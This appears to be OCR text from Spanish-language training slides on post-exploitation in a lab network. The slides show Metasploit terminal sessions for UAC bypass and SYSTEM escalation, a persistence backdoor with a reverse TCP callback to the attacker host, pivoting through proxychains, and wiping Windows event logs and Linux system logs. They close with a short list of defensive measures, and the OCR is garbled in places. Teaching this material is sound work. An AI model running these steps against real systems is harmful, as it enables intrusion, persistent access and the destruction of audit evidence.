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Post Explotacion

Escalando privilegios, rootkits,
packdoors, pivoteo, limpiando rastros.
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¢Qué es post-explotacion

Son tareas efectuadas por un hacker luego de haber

vulnerado exitosamente un sistema.

» Algunos ejemplos de post explotacion:

» Elevar los privilegios desde una cuenta no
privilegiada

« Obtener los hashes de los usuarios de un sistema

« Migrar un proceso a otro

« Descargar o subir informacion desde y hacia un
equipo que ha sido vulnerado

* Levantar un proceso como un keylogger o
spyware

 Instalar un rootkit o backdoor en un sistema

« Usar un sistema explotado como pivote

» Eliminar registros de eventos y otras pistas
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Cuando luego de explotar una vulnerabilidad no obtenemos
privilegios administrativos, podemos escalar usando diversas
técnicas.

El Metasploit Framework provee moédulos POST que ayudan
al pentester a escalar privilegios.
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root@kali: ~
File Edit View Search Terminal Tal Help

root@kali: ~

PAYLOAD => windows/meterpreter/reverse tcp
msf exploit( ) > set LHOST 192.168.0.13
LHOST => 192.168.0.13
msf exploit( ) > set LPORT 4444
LPORT => 4444
exploit( ) > exploit

Started reverse TCP handler on 192.168.0.13:4444

UAC is Enabled, checking level...

UAC is set to Default

BypassUAC can bypass this setting, continuing...

Part of Administrators group! Continuing...

Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...

Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (179779 bytes) to 192.168.0.8
[*] Meterpreter session 3 opened (192.168.0.13:4444 -> 192.168.0.8:62182) at 201
8-08-30 23:31:59 -0500

meterpreter > getuid

Server username: PCForensics\Operador

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > |j
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Buscando informacion relevante

en el sistema victima

File Edit View Search Terminal Tabs

meterpreter > dir /Users
Listing: /Users

Mode Size
40777/ rwxrwxrwx 8192
40777/ rwxrwxrwx
40555/ r-xXr-xr-x
40777/ rwxXrwxrwx
40777/ rwxXrwx rwx
40777/ rwxrwx rwx
40777/ rwxrwxrwx
40555/ r-xr-xr-x
100666/ rw-rw-rw- 174

meterpreter > search -h

Usage: search [-d dir] [-r recurse]

Search for files.

OPTIONS:

-d <opt> The directory/drive to begin searching from. Leave empty to search all drives.

ult: )

-f <opt> A file pattern glob to search for.

-h Help Banner

-r <opt> Recursivly search sub directories.

meterpreter > search -d /Users/Operador -f confidencial*

Type
dir
dir
dir
dir
dir
dir
dir
dir
fil

Last modified

2018-08-30
2009-07-14
2016-07-20
2009-07-14
2018-08-30
2018-07-19
2018-08-30
2016-07-20
2009-07-13

No files matching your search were found.
Heterpreter > search -f confidencial*

root@kali: ~

:51
:56
:50
:56
;13
:35
:58
126
124

root@kali: ~

Name
Administrador
A1l Users
Default
Default User
DefaultAppPool
Karina
Operador
Public
desktop.ini

-f pattern [-f pattern]...

(e.g. *secret*.doc?)
(Default: true)

-r
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Rootkits y Backdoors ‘é?’

Un rootkit €S un conjunto

- e

de he.arram\err\\;tfes é}c\rjas céldj'n backdoor, es

permiten - € - 2190 que permite g yp |

Ntruso tener acceso e

forma continya enun |
Sistema que ha sido

Previamente explotado.
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Contenido de un rootkit

Herramientas para
elevar privilegios en
un sistema.

\

Herramientas para
capturar
informacién desde
dipositivos como el
teclado, micréfono,
webcam, etc.

N\

programas del
sistema que
escondan la
presencia de

procesos y archivos

\ del hacker.

Herramientas para
descargar y subir
archivos desde y

hacia el equipo

victima.
\
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Tipos de rootkits

/ a

Rootkits a nivel del kernel
N

y

Rootkits a nivel del usuario

.\

Rootkits de booteo ‘

i\

Rootkits de firmware

A\

Rootkits para hipervisores

A
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Levantando backdoors con

nersistance

Sintaxis:
run persistence [options]

-A iniciar automaticamente un exploit multi-handler
compatible para que el backdoor se pueda conectar al equipo hacker
-P <opt> payload a usar, si no se indica se asume que
es windows/meterpreter/reverse_ tcp

-S iniciar el backdoor automadticamente al booteo como
servicio, esto requiere que la sesidn tenga privilegios de SYSTEM
-U iniciar automaticamente el backdoor cuando un usuario
inicia sesidn

-1 <opt> intervalo en segundos entre cada intento de
conexidn

-p <opt> puerto de escucha en el MSF en la maquina
hacker

-r <opt> direccidén IP de la maquina hacker
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Persistance en accion

meterpreter > run persistence -U -i 10 -p 443 -r 192.168.0.13

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence exe.

[!'] Example: run post/windows/manage/persistence exe OPTION=value [...]

[*] Running Persistence Script

[*] Resource file for cleanup created at /root/.msf4/logs/persistence/PCFORENSICS 20180831.1217/PC
FORENSICS 20180831.1217.rc

[*] Creating Payload=windows/meterpreter/reverse tcp LH0OST=192.168.0.13 LPORT=443

[*] Persistent agent script is 99655 bytes long

[+] Persistent Script written to C:\Users\(msf > jobs

[*] Executing script C:\Users\Operador\AppL

[+] Agent executed with PID 6464 Jobs

[*] Installing into autorun as HKCU\Softwar™

[+] Installed into autorun as HKCU\Software
meterpreter > exit BN
[*] Shutting down Meterpreter... 4 Exploit: multi/handler windows/meterpreter/reverse tcp tcp://192.168.0.13:443

Id Name Payload Payload opts

[*] 192.168.0.8 - Meterpreter session 3 clemsf > sessions -i 4
[*] Starting interaction with 4.

meterpreter > sy51nf0
PCFORENSICS
: Windows 7 (Build 7601, Service Pack 1).
1 x64
System Language : es EC
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows

meterpreter >
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Usando un host victima

como pivote

TOPOLOGIA LOGICA DE LA RED

—

Windows 7
192.168.197.1

Metasploitable2
192.168.197.128

> —

Windows 10 Windows 7 p—
192.168.0.6 192.168.0.8
-
I I P A
( )
Windows 8.1
192.168.197.131
Kali Linux
192.168.0.13
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[*]
re ' 6... 6 Th
. * ) . re
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[*] There are ¢

msf > msf > proxychains ssh 192.168.197.131
[*] exec: proxychains ssh 192.168.197.131

ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.197.131:22-<><>-0K

The authenticity of host '192.168.197.131 (192.168.197.131)' can't be established.
ECDSA key fingerprint is SHA256:qi54sf1CuAU2046AgIWnx9ECs1CcDMR6KeW;j 7LZeCoE.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.197.131' (ECDSA) to the list of known hosts.
root@192.168.197.131's password: I
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Limpiando rastros en Windowg &5#

root@kali: ~
File Edit View Search Terminal Tabs Help

root@kali: ~

eterpreter > run event manager -c
You must specify and eventlog to query!
*] Application:
*] Clearing Application
*] Event Log Application Cleared!
*] Articulate:
*] Clearing Articulate
*] Event Log Articulate Cleared!
*] Cisco AnyConnect Secure Mobility Client:
*] Clearing Cisco AnyConnect Secure Mobility Client
*] Event Log Cisco AnyConnect Secure Mobility Client Cleared!
*] HardwareEvents:
*] Clearing HardwareEvents
*] Event Log HardwareEvents Cleared!
*] Internet Explorer:
*] Clearing Internet Explorer
*] Event Log Internet Explorer Cleared!
*] Key Management Service:
*] Clearing Key Management Service
*] Event Log Key Management Service Cleared!
*] Media Center:
*] Clearing Media Center
*] Event Log Media Center Cleared!
*]1 OAlerts:
*] Clearing OAlerts
*] Event Log OAlerts Cleared!
*] Security:
*] Clearing Security
*] Event Log Security Cleared!
*] System:
*] Clearing System
*1 Event Loag System Cleared!
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ls -1 dmesg
-rw-r--r-- 1 root adm 35255 Aug 30 00:57 dmesg
ls -1 syslog
1 syslog adm 14696 Aug 31 10:02 syslog
messages
--- 1 syslog adm 54380 Aug 31 09:46 messages

>dhe§g
>syslog
>messages

Ls =L umesg
-rw-r--r-- 1 root adm 0 Aug 31 10:06 dmesg
ls -1 syslog
1 syslog adm 0 Aug 31 10:06 syslog
ls -1 messages
1 syslog adm 42 Aug 31 10:06 messages
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Medidas Defensivas

Enpoint protection (con prevencion de APTs)

Cifrado documental

Registros de auditoria y syslog

Herramientas de monitoreo y gestion de
seguridad

Entrenar al personal de Tl en Seguridad

Informatica
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